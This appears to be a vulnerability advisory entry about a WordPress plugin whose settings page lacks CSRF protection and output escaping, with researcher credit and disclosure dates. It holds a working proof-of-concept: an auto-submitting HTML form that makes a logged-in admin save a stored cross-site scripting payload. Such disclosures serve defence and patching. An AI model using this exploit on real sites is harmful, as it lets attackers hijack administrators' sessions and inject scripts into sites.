The plugin does not have CSRF check when saving its settings, nor sanitise and escape some of them, which could allow attackers to make a logged in admin change them and perform Cross-Site Scripting attacks
<html> <body> <form action="http://wp.lab/wordpress/wp-admin/options-general.php?page=wp-extra-file-types-page" id="hack" method="POST"> <input type="hidden" name="do_save" value="1" /> <input type="hidden" name="custom_d[a]" value='"' /> <input type="hidden" name="custom_e[a]" value=");alert(/XSS/);//" /> <input type="hidden" name="custom_m[a]" value="z" /> <input type="submit" value="Submit request" /> </form> </body> <script> var form1 = document.getElementById('hack'); form1.submit(); </script> </html>
ZhongFu Su(JrXnm) of Wuhan University
ZhongFu Su(JrXnm) of Wuhan University
Yes
2021-12-27 (about 1 years ago)
2021-12-27 (about 1 years ago)
2022-09-26 (about 4 months ago)